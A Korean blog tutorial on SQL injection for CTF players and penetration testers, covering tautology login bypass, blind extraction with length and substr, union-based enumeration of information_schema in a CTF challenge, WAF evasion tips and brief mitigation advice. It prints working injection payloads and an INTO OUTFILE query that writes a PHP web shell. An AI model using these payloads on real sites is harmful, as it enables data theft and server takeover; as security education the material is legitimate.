web_security/web info

[WebHacking] SQLI(SQL Injection) 이란?(New)

HawordFREAKEK 2022. 6. 3. 19:37

네 안녕하세요. Godhaword 입니다.
원래 1주일에 하나 정도 쓸까 생각했는데 XSS 이야기 하면서 SQL Injection 이야기를 너무 비중있게 다뤘더라구요.
예전에 글을 썼던 2019년의 제가 생각하던 웹 해킹(Web hacking)의 꽃은 SQL Injection 이였습니다.
지금 저에게 웹 해킹의 꽃이 뭐냐고 물어보면 파일업로드 취약점, 즉 웹쉘(Web Shell) 업로드 후 이어지는 서버장악이라고 말할 것 같습니다.
그렇다고 막 XSS 때 말했던 XSS랑 SQLI 급으로 차이나냐 하면 그건 또 아니고 짬뽕, 짜장면 느낌으로 개인 성향에 따라 웹 해킹의 꽃이라고 생각하는 부분은 다를 것 같습니다.

실제 CTF나 실무 진단, 점검을 하며 느낀점과 아셨으면 하는 점도 글 내에서 잠깐잠깐 말씀 드리겠습니다.

아마 또 다음 글은 파일 업로드 취약점으로 이어질 것 같네요..

이 글만 다 읽으면 나도 SQL Injection 고수?

webhacking이나 SQL Injection 초보분이나 중수분들까지도 이 글만 다 읽어도 개인차는 있겠지만 많은 발전이 있을 것이라 생각합니다.
꼼꼼히 한번 읽고 자세히 두번 읽으세요.

목차는

1. SQLI(SQL Injection) 이란?
2. SQL Injection 의 원리 및 종류
3. SQL Injection 공격 전에 알아야 할 것
4. SQL Injection 조치 방법

 


1. SQLI(SQL Injection) 이란?

말 그대로 SQL 주입 입니다.
서비스에 악의적인 SQL Query 문을 입력하여, 서비스 내의 Database 에 있는 값을 조회하는 것을 말합니다.
이를 통하여 서비스를 이용하는 사용자의 계정(개인)정보라던지, 게시물들의 특정 id 값이라던지, 시스템 구성에 대한 값을 조회할 수 있습니다.

나무위키

SQL 인젝션(SQL 삽입, SQL 주입으로도 불린다)은 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식을 말한다. 주로 사용자가 입력한 데이터를 제대로 필터링, 이스케이핑하지 못했을 경우에 발생한다. 공격의 쉬운 난이도에 비해 파괴력이 어마어마하기 때문에 시큐어 코딩을 하는 개발자라면 가장 먼저 배우게 되는 내용이다. 이러한 injection 계열의 취약점들은 테스트를 통해 발견하기는 힘들지만 스캐닝툴이나 코드 검증절차를 거치면 보통 쉽게 발견되기 때문에 탐지하기는 쉬운 편이다. 보안회사 Imperva가 2012년에 발표한 보고서에 따르면 월평균 4회가량의 SQL 인젝션 공격이 일어난다고 한다. OWASP에서도 수년 동안 인젝션 기법이 보안 위협 1순위로 분류되었던 만큼 보안에 각별한 주의가 필요하다.
"아니 WebShell 업로드가 웹해킹의 꽃이라며, 위 글에선 SQL Injection이 수년 동안 보안 위협 1순위라던데 어떻게 된 일이냐"

 

일단 파일업로드 취약점과 SQL Injection의 파급력은 서비스 구성 상황에 따라 교집합의 넓이가 점점 커지기도 합니다.

만약 db.conf, db.conn, db.config 같은 DB 초기 설정 파일을 Webshell을 통해 조회 가능한 경로에 있다면 해당 ip주소와 포트, username과 password를 통하여 파일 업로드로 Database 장악까지 가능하게 합니다.

SQL Injection 같은 경우에도 유저 정보 뿐만 아니라 서비스 구성에 대한 config 값이나 개발 시 사용했던 Code Repository에 대한 값 혹은 ssh, telnet, ftp 에 대한 계정정보가 있을 시, SQL Injection 을 통하여 서버 그 이상까지 장악이 가능할 수 도 있습니다.

공격 파급력의 교집합이 이렇게 겹친다면 파일 업로드 취약점과 SQL Injection 사이의 공격 접근성에 대해서 말씀드려야 할 것 같은데 공격 접근성은 SQL Injection이 훨씬 간편합니다.

파일 업로드 취약점과 같은 경우 필요한 전제조건이 업로드 기능이 있어야 한다는 것 입니다.
뭐 javascript로 업로드 기능을 만들건, 서비스 내에 업로드 기능을 만들건, 업로드 관련 api를 채용하건 어찌됬던 업로드 기능이 있어야 파일업로드 취약점 공략이 가능합니다.
(애초에 업로드 기능이 없는 서비스가 많기도 하고..)
그리고 만약 업로드 기능이 있다 하여도 업로드 한 파일의 경로를 유추할 수 없다면 Shell File은 올리는데 그 Shell File을 활용하지는 못하는 상황이 발생하게 됩니다.(적금 들어놨는데 돌려 받진 못하는 느낌..)

하지만 SQL Injection은 DB와 서비스가 이어져있기만 하다면 어떻게 해서든 공격이 가능합니다.
로그인 단계에서도 공격이 가능하며, 게시물을 조회 과정에서도 공격이 가능하고, 삭제하는 과정, 날짜를 조정하는 과정, 글을 정렬하는 과정 및 게시판이라는 기능에 국한되어 있지 않고 DB와 서비스가 소통하는 부분이면 모두 SQL Injection의 공격 Point 가 되게 됩니다.

그래서 다시 보자면, 대충 10개의 사이트 중에 8개의 사이트에 공격이 가능한 파급력이 A급 공격과 10개의 사이트중 3개의 사이트만 공격이 가능한 파급력이 A+급인 공격이 있다면 저 역시 전자에 손을 들 것 같습니다.
(그래도 제 마음속에는.. 파일 업로드가 최고입니다.)

 

2. SQL Injection 의 원리 및 종류

SQL Injection의 종류는 크게 세 가지로 봅니다.

1) Generic SQL Injection

2) Blind SQL injection

3) Union SQL Injection

1) 1번은 ' or 1=1 -- 과 같이 기본적인 쿼리문을 이용한 공격입니다.
이게 원리부터 설명해야할 것 같은데

Select id, pw from user_tb where id="GET_id" and pw="GET_pw";

로그인에 상용되는 쿼리문은 보통 이런식으로 user_tb 테이블에 있는 id와 pw 값을 가져와 사용자가 입력한 GET_id와 GET_pw 와 비교하여 두 값 중 두 값 모두 참 일시 참값을 내보내는 그런 쿼리문 입니다.

위 SQL code에 사용된 전체적인 코드나 변수명, Table 명, 구분자의 기호는 개발자나 DB 종류에 따라 모두 다릅니다.

위 코드를 예시로 1,2,3 번을 해석해보자면 (id 란에만 공격을 한다고 가정)

1번은

Select id, pw from user_tb where id="" or 1=1--" and pw="GET_pw";

위와 같이 id는 거짓이 나오더라도 뒤에 1=1 이라는 참값이 나오므로 계정상 맨위에 있는 유저의 정보를 조회할 수 있습니다.(-- 이후의 회색 기울어진 글씨는 주석으로 날아간 글씨이므로 무시하셔도 됩니다.)

아.. 엑셀 쓰기 싫다..

위와 같이 대부분의 서비스를 구성할때 Database에 첫번째로 쌓이는 계정의 정보는 admin이나 개발자, system user일 가능성이 높습니다.(아직 open 되지도 않은 서비스에 회원가입을 할 일반 user는 없으니까)

그러므로 ' or 1=1--을 하시면 한 90%확률로 상위 권한의 유저의 정보로 로그인을 할 수 있게 됩니다.

이 방법은 많이 알려져 있기도 하고 가장 쉬운 방법이기도 하지만 만약 첫 번째에 더미데이터가 있거나, admin의 권한이 일반 user와 별반 다름이 없고 dev 계정에 상위 권한 기능이 몰려있다면 ' or 1=1--과 같은 공격으론 추가적인 득을 보기 힘듭니다.

응용한다면 ' or database()='mysql'-- 이렇게도 사용됩니다.

 

그래서 사용되는게 

2) Blind SQL Injection 입니다.

확실히 1번보다 난이도가 비약적으로 상승하긴 하지만 제가 원하는 계정의 원하는 정보를 자세히 알 수 있다는 장점이 있습니다.

예제와 함께 보겠습니다.

1

 $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

일단 주요 쿼리문을 보시면 id는 admin으로 고정되어 있으며 저희가 조작할 수 있는 부분은 $_GET[pw] 부분 밖에 없습니다.

$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

그 와중에 DB에서 읽어온 admin의 패스워드 값과 저희가 입력한 pw 값이 같아야만 orc 문제가 풀리는 듯 합니다.

일반적인 상황이라면 ' or 1=1--를 하면 로그인은 되는 쿼리문이지만 해당 문제에서 pw값이 일치해야만 문제가 풀리는 식의 코드를 만들었기에 따라가기만 하면 됩니다.

2

일단 당연히 ' or 1=1--를 하면 문제가 안넘어가는 것을 보실 수 있습니다.

 

3

일단 Blind SQL Injection을 하는 방법은 크게 3가지가 있습니다.

1. 노가다
2. python 코드
3. 여러가지 brute force 툴

일단 2번에 집중하여 설명하고 추후에 1,3 번을 설명해드리도록 하겠습니다.

위 사진은 python 코드로 page source값을 부른 사진 입니다.(java는 안되요? C는 안되요? 다 됩니다.)

저희는 이제 SQL에서 length 함수를 통하여 일단 pw의 length(길이)를 구해볼 것입니다.

 

4

일단 저희는 참 값이 떨어지게 되면 solve 까진 아니더라도 Hello Admin 값이 뜨는 것을 알 수 있습니다.

5

위와 같이 쿼리를 사용할 시 길이가 4번째랑 8번째에서 한번씩 차이가 생기는 것을 볼 수 있습니다. pw가 4글자 아니면 8글자인가 보네요

길이를 알았다면 이제 각 자리에 있는 문자를 일일히 구하면 됩니다.이 때 사용되는 것이 substr 함수입니다.

이에 맞춰 코드를 더 짜본다면

6
7(코드 짜기 귀찮아서 대충대충 짜다가 시간 더 쓴거 같네요... 꼼꼼한 성격을 생활화 합시다..)

이렇게 찾고자 하는 변수명을 substr 기능을 사용하여 각자리 숫자대로 찾으면 위와 같이 pw값을 정확히 찾아낼 수 있습니다.
(4번째 글자가 다른 계정이랑 겹쳐서 그런지 0 말고 다른 값을 한번 더 찾아야하더라구요.. 간결한 코드와 자세한건 los 리뷰로 찾아오겠습니다.)

Blind SQL Injection은 쿼리만 이해해서 알아내는 것이 아니라 이에 맞는 코드나 툴을 사용해야 하기에 1번보다 레벨이 좀 많이 높은 기술이라 할 수 있습니다.

추가적으로 위에서 언급한 1. 노가다방법은

1
2

이것과 같이 7보다 큰데 8보다 크지 않으니 8이라는 것을 유추해내는 것 처럼 추후에 substr 공격부분에서도 

1
2

이와 같이 1번째 글자의 ascii 값 47보단 크고 48보단 크지 않으니 48이겠구나 해서 유추하는 방법이 있습니다.

가끔 python으로 response값이 안불러와질때 자주 사용하는 방법입니다. 정말 중요한 값을 탈취하는거 아니면 별로 추천은 못 드릴것 같습니다.

 

3) Brute force 툴 사용 관련해선 가장 쉽게 접할 수 있는 것이 Brup suite 툴이라고 생각합니다. 브루트포싱 기능 외에도 여러가지 기능이 웹 해킹, 웹 진단에 많이 필요한 기능이 있어 자주 애용하는 툴입니다.

1

위와 같이 어느정도의 SQL 문과 기초상식이 있다면 코드를 짜지 않고서도 브루트포싱을 할 수 있습니다.

평소 점검 업무를 볼 때, SQL Injection이 성공한다면 특정한 source 값 혹은 length로 참 거짓을 구분합니다.

source 값(이름이나 id 같은거)으로 구분하게 되면 별다르게 신경쓸 것 없이 그 값으로 참 거짓을 나누면 되지만, target 으로 정한 source 값이 해당 페이지에 하나만 있어야 한다는게 문제가 됩니다. 혹시라도 하나 이상 target으로 정한 source 값이 있다면 거짓일 때도 참이라고 판단될 수도 있습니다. 꼭 source 값으로 참 거짓을 구별하고 싶다면 그 값이 참일 때 몇 번, 거짓일 때 몇번 count를 해줘야 함으로 코드 전개상으로도 불필요한 요소가 많아지며 코드 작성에 대한 소요 시간이 늘어나게 됩니다. 그 마저도 상황에 따라 안 먹혀 들어갈 수 도 있습니다.

하지만 Response 값의 길이로 구하게 된다면 추가 count에 대한 코드가 줄어들게 되고, 간단하게 Blind SQL 문을 작성할 수 있습니다. 하지만 참과 거짓 값의 Response 값의 길이가 별로 차이가 안난다거나 입력한 쿼리문이 Response Page에 한 번 더 노출이 되는 형태라면 1과 10, 100, 1000 등 자체적으로 쿼리문의 길이가 길어짐에 따라 참이여도 다른 Lenght 값이 나오게 됩니다.
그러므로 그 점 유의해서 코드 작성하시는 것을 추천드립니다.
(정답이라 할 것은 없고, 개인에게 맞는 방식이 있다면 그 방식 추천드립니다.)

 

하지만 커뮤니티 버전 burp suite 같은 경우 인트루더의 속도가 너무 느리며, pro 버전을 쓰더라도 인트루더의 속도가 너무 빠를 시 서비스 하는 서버의 과부하를 줘 서버의 장애를 유발할 수 있으니 delay 에 각별히 신경을 써야하는 공격입니다.

 

3) Union SQL Injection 입니다.
난이도는 때에 따라서 Blind SQL Injection 보단 쉽지만 공격 성공 시 얻을 수 있는 정보의 질과 양은 매우 높습니다.

1

Union SQL Injection은 위와 같이 행과 열이 있는 Table 형태 페이지에서 주로 발생합니다.(일반적인 table view)
모두 그런건 아니고 에러페이지나 한줄 정보에서도 Union SQL Injection 이 가능한 경우도 있습니다.

2

코드 분석 및 자세한 문제풀이는 이미 써둔 글을 참고해주시고, 입력 쿼리는

?search_cols=a&operator=or&query_parts=1%20union%20select%201,2,3,4%23

입니다.
query_parts에 1 union 1,2,3,4#를 넣으며 출력되는 값 외에 1,2,3,4라는 값이 각 테이블에 맞춰 들어가는 것을 보실 수 있습니다.
저희는 이제 이를 이용하여 원하는 Table에 원하는 Column 값을 찾아야합니다.(ex: user 테이블에 id, pw값)

3

?search_cols=a&operator=or&query_parts=1%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%23

입력 쿼리는 위와 같으며 1 union select table_name,2,3,4 from information_schema.tables 를 통하여 해당서비스에 있는 table 값의 이름을 볼 수 있게 되었습니다. Database환경에 따라 database(), all_tables등 지원하는 명령어가 다르니 이 점은 미리 공부해보시거나 서칭을 해야합니다.

위와 같이 table 명을 한 번 뽑아보고 원하는 table 명이 있다면 다음 단계로 해당 table에 있는 칼럼을 조회합니다.

4

?search_cols=a&operator=or&query_parts=1%20union%20select%20column_name,2,3,4%20from%20information_schema.columns%20where%20table_name="Th1s_1s_Flag_tbl"%23

table 명을 구했던 것과 같이 column 명도 구할 수 있으며 where 절에 본인이 원하는 table 명을 입력하면 그 table의 column값 만 확인이 가능합니다. 저는 최종적으로 Th1s_1s_Flag_tbl 이라는 테이블 안에 f1ag 칼럼이 어떻게 생겼는지 확인만 하면 됩니다.

5

?search_cols=a&operator=or&query_parts=1%20union%20select%20f1ag,2,3,4%20from%20Th1s_1s_Flag_tbl%23

이 쿼리문을 마지막으로 설명드리자면 Th1s_1s_Flag_tbl 이라는 테이블의 f1ag 값을 1,2,3,4 번 자리중에 1번자리에 표시를 하겠다 이렇게 표현이 됩니다.

다른 예로 union select id,pw,3,4 from user_tb--

이런식으로 사용한다면 id와 pw 두 정보를 한 table view로 볼 수 있습니다.(concat이나 다른 함수를 써서 더 정리된 값을 볼 수 있습니다.)

 

위 방법이 제가 일반적으로 sql Injection을 넓혀가는 방법이고, 더 직관적인 방법도 보여드리자면

1

위와 같은 방법으로 union select 를 한 후 각 값의 위치를 파악해줍니다. 그 이후 이번엔

?search_cols=a&operator=or&query_parts=1%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%23

information_schema.schemata에 있는 schema_name 을 찾아줍니다.
위 쿼리는  show databases;와 같은 역할을 하며, 해당 서비스에 있는 database들을 보여주게 됩니다.
이를 통하여 dmbs335라는 database를 쓴다는 것을 확인하였고, 다음 단계로 넘어갑니다.

2

?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_schema,table_name,4%20from%20information_schema.tables%20where%20table_schema=%27dmbs335%27%23

이번엔 방금 얻은 dmbs335라는 database 명을 table_schema 에 대입해주시고, information_schema.tables 를 통하여, table_schema와 table_name을 뽑아줍니다.
그러면 dmbs335에 있는 테이블 들만 추출되게 됩니다. show tables; 와 같은 역할 입니다.

데이터베이스 명과 테이블 명을 땄으면 이젠 칼럼명도 따야할 시간인데요.

3

?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_name,column_name,4%20from%20information_schema.columns%20where%20table_schema=%27dmbs335%27%23

이번엔 information_schema.columns 에 있는 칼럼명과 테이블 명을 뽑아와줍니다.
아까전 방법과는 다르게 table_schema='dmbs335' 라는 정보 하나로 훨씬 정리된 데이터들을 볼 수 있습니다.
저희는 th1s_1s_Flag_tbl 이라는 테이블 안에 f1ag라는 칼럼이 있는 것을 확인하였습니다.

그 후에는 위와 똑같이 해당 테이블에 있는 칼럼을 조회해주면 됩니다.

4

group_concat으로 묶어주면 이런 모양으로 보실 수 있습니다.

※ 주의

SQL Injection이 된다는 것은 단순히 Database를 조회하는 것을 넘어 값들을 생성/삭제/수정을 할 수 있다는 것을 뜻합니다. 하지만 저희가 악성 해커가 아닌 서비스를 진단.점검하는 입장에서 보자하면 SQL Injection 은 양날의 검과 같습니다.
SQL Injection을 통하여 Database 장악을 하고, 그 안에서 추가 공격을 위한 자료를 습득하여 공격을 전개하는 시작이 될 수 도 있지만

DROP TABLE User_DB;

이런 쿼리 한 번만 운영기인 서비스에 날리게 되면.. 상상도 하기 싫은 일이 일어날 수도 있습니다.
그렇기에 단순한 SQL 문이 아닌 더 심화된 SQL Query를 날리게 된다면 입력 전에 서비스의 무결성과 가용성을 해치지 않을까 한 번만 더 생각하고 입력하시는 것을 추천드립니다.

 

 

 

 


추가적으로 Union SQL Injection이 가능하다면 Into outfile 취약점을 이용한

union select 1,"<?php system($_GET["godhaword"])>",3,4 into outfile "/attack/path/shell.php"--

위 Query를 이용하여 Server 장악까지 가능합니다.
SQL Injection으로 Webshell 을 올리는 최고의 공격입니다. 하지만 현재 경로와 DB가 구동되는 정확한 경로를 모른다면 저희가 날린 한줄 쉘 코드는 계속 이상한 곳에 떨어지게 되며, 만약 그것을 진단하는 저희가 못찾고 내버려두게 된다면 추후에 외부 해커가 저희 쉘을 사용하여 서비스를 장악하는 개뻘짓을 하게 될수도 있습니다.

DB장악과 서버장악 두가지를 다 잡은 방법이긴 하지만 역으로 저희가 잘 관리하지 못한다면 제 3자에게 이 꿀 정보를 넘길 수도 있으니 항상 Shell 파일엔 암호를 걸어두시거나 본인이나 서비스 제공자와 연락을 하여 사용 이후 필요 없어질 때 지우시길 바랍니다.(shell 작동 안하더라도 의미없는 파일들이 저 쿼리 실행하는 족족 DB경로로 쌓이게 됩니다.)

(꼭 union select 가 아니더라도 일반 sql 문에서 '  and 1=1 ' union select ~~~ 이렇게 조금 바꿔서 보내면 파일 업로드 가능해집니다.)

일단 SQL Injection과 Web Shell, 서버 구성 에 대한 충분한 이해를 가진 상태에서 저 into outfile 문을 입력하시는 것을 추천드립니다.
Test는 직접 만드신 사이트나 jar 같은 파일로 돌아다니는 개인용 해킹 박스 구성에서 테스트 하는 것을 추천드립니다.

 


 

추가적으로 sqlmap이라는 꿀 sql 툴이 있긴하지만 브루트포스 개념의 툴이며, 무차별적으로 쿼리문을 주입하기 때문에 자신이 만든 사이트나 자신이 감당 가능한 사이트 내에서만 사용하시는 것을 추천드립니다.
CTF 사이트에서도 sqlmap 쓰면 욕먹더라구요.

 

3. SQL Injection 공격 전에 알아야 할 것

1.일단 Database에 대하여 알아야 합니다. 컴퓨터 공학생이라면 데이터공학이나 Database학개론 이런거 들어보시고, 중고등학생이나 그 외의 직장인 분들이라도 SQL Injection 전에 Database에 대해 공부 먼저 하셔야 합니다.
이번 글에서 세세한 함수 및 명령어는 다 아신다는 전제하의 설명을 드렸습니다. 혹시라도 어? 이게 뭐지 싶으신 부분은 그 부분 위주로 공부해보시는 것을 추천드립니다(table과 column이란? substr이란? Database 종류란?, 기본적인 SQL Query)
DB종류는 어떤게 있으며 union은 뭐고 as는 어떻게 쓰이고 schema는 뭐고 join은 뭔지 교과서적인 정의는 아니여도 대충 아 이건 이런거다 라고 말은 할 수 있어야 SQL Injection 하기 조금은 수월하다고 생각합니다. 구글에 검색해서 참고해서 쿼리문을 짜는것도 한계가 있고, SQL Injection 필터링 우회하는 부분에서 Database를 이해하지 못한다면 턱턱 막히는 부분이 찾아 올 것입니다. 저도 데이터베이스 관련 과목을 듣고 SQL Injection 관련 눈이 떠졌다 해야하나 암튼 그런 비약적인 상승이 있었기에 우회 방법 공부하는것 보다 Database 공부하는 것을 추천드립니다.(외국인과 토론 잘하고 싶은데 토론하는 법만 공부하고 영어 1도 모르면 무쓸모잖아요)

2. database를 다 공부하고 오셔서 이제 실제 SQL Injection을 하시게 된다면 구분자와 주석방법을 알아야합니다.
구분자는 위에서 말씀드렸던 ', ", %', %", ''', """ 과 같이 어떤 구분자인진 공격자 본인이 찾아야하며 response 값이나 검색창에 hint가 될만한 정보가 있을 수도 있으니 잘 찾아봐야합니다. 대부분 error를 유도하면 해당 구분자가 맞다고 생각합니다.
주석 방법은 구분자로 error를 유도한 후 맞는 주석을 사용하면 다시 정상 response 값을 주기에 이를 확인하여 구분합니다.

3. 서비스에 사용되는 DB 종류를 알아내야 합니다. DB 종류에 따라 우회 방법도 다르고 꺼낼 수 있는 명령어와 쿼리문이 다르기에 DB 종류를 파악하시는 것이 제일 중요합니다.

이 3단계 후에는 자신이 아는 SQLI 지식을 총 동원해서 Testing 하시면 되겠습니다.

 

4. SQL Injection 조치 방법

XSS 조치방법과 거의 비슷합니다. 구분자와 주석을 필터링만 해줘도 반 이상은 걸러지며 구분자와 주석같은 단어는 개발자의 판단 하에 입력을 안 받아도 되는 상황이면 아에 입력을 받지 않는 것도 방법입니다. 혹시라도 replace 함수를 써서 SQL 인젝션을 조치하려 하거든 관련 단어를 지우는 선택보다 관련 단어를 다른 문자로 치환하여 replace하는 것을 추천드립니다.

table이란 단어를 replace 하여 제거시킨다면 만약 tatableble 이렇게 입력할 시, 온전한 table이란 단어가 나오기에 공격에 취약해 집니다.

하지만 table이란 단어를 test로 치환시킨다면 tatableble로 입력하더라도 tatestble 과 같은 꼴로 치환되기에 공격을 방어하기 쉬워집니다.

하지만 위와 같은 방법은 database의 무결성을 해칠수도 있으니, 여러번의 테스트가 필요합니다.(개인적으로 구분자 주석 필터링 및 치환을 추천드립니다.)

그 외에도 서버 설정에서 방어 할 수 있습니다.

 


 

 

웹해킹의 꽃이자 OWASP 기준 최고의 webhacking 기술이라 그런지 글 쓰는데 시간도 오래걸렸고, Test 사진 찍는데도 오래걸리고, 이해하기 쉽게 쓰는데도 시간을 많이 썼네요. 기술 설명의 뎁스도 2~3년 전보단 깊어진거 같아 기쁩니다.

웹 해킹의 꽃인 만큼 기본기가 아주 많이 들어가며 필터링을 우회하는 단계에서 기본기와 더불어 공격자의 센스까지 필요한 기법입니다.

기본기가 없다면 센스가 있더라도 발휘를 못하지만, 기본기만 충분하면 반 이상은 가기에 Database 공부부터하고 SQL Injection 공부하고, CTF 같은 곳에서 센스 습득하시는 것 추천드립니다.

다시 말씀 드리지만 난이도가 높은 취약점을 찾았을 때 성취감도 높지만 그 만큼 저희가 해당 서비스에 가할 수 있는 피해 또한 늘어나게 됩니다.
상급 취약점을 찾게 되면 저희가 서비스에 끼치는 무결성 가용성 손상 관련 공격에 대해선 다시 한 번 생각해보고 사용하셔야 합니다.

 

궁금하신점은 댓글 부탁드립니다.

 

추가 내용

  1. [2022-05-31] waf에서 sql injection 잡을 수도 있으니까 1=1 보단 'test1234'='test1234' 나 'godhaword'='godhaword' 이런 좀 색다른 변수로 비교하면서 sql 단서 찾는 것을 추천드립니다.
  2. [2022-06-03] SQL Injection 공격이 성공해도 공격자가 한 번에 날릴 수 쿼리문은 한 줄 입니다. Webshell을 이용하여 cmd, 명령문으로 보낸다면 batch 파일이나 sh 파일을 사용하여 더 복잡한 구조로 날릴 수도 있겠지만, SQLI를 사용하여 쿼리문을 날릴땐 단 한줄로 날립니다. 그렇기에 공격자 입장에선 한 문장으로 자신이 하고자하는 행동을 정리할 수 있도록 많은 연습을 해보시는 것을 추천드립니다.(게시글 관련 문제로 재 업로드 하였습니다.)